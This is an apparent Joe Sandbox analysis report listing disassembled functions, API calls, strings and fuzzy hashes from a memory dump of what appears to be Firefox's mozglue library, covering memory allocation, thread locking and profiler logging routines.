Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6CB540 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Strings

a.8/, xrefs: 6C6CB54B

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID: a.8/
API String ID: 1276798925-2801666753
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C65ECD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

a.8/, xrefs: 6C65ECDC
\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-$a.8/
API String ID: 1980384892-853982058
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

a.8/, xrefs: 6C6CA539
z, xrefs: 6C6CA6AE
0, xrefs: 6C6CA5FB

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$a.8/$z
API String ID: 310210123-3515322208
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C6A1D00 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Strings

a.8/, xrefs: 6C6A1D83

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID: a.8/
API String ID: 1880959753-2801666753
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C661640 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Strings

a.8/, xrefs: 6C66164C

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID: a.8/
API String ID: 375572348-2801666753
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C696590 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

a.8/, xrefs: 6C6965A3
data, xrefs: 6C696593
vml, xrefs: 6C69696C

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: a.8/$data$vml
API String ID: 511789754-1227768309
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

a.8/, xrefs: 6C68D5DC, 6C68D7AC
|Enabled, xrefs: 6C68D81E
Wel, xrefs: 6C68D5D9, 6C68D63F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$a.8/$|Enabled
API String ID: 4142949111-1317539259
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6605F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

a.8/, xrefs: 6C660601

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: a.8/
API String ID: 0-2801666753
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Strings

a.8/, xrefs: 6C6B14B2

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID: a.8/
API String ID: 1909280232-2801666753
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

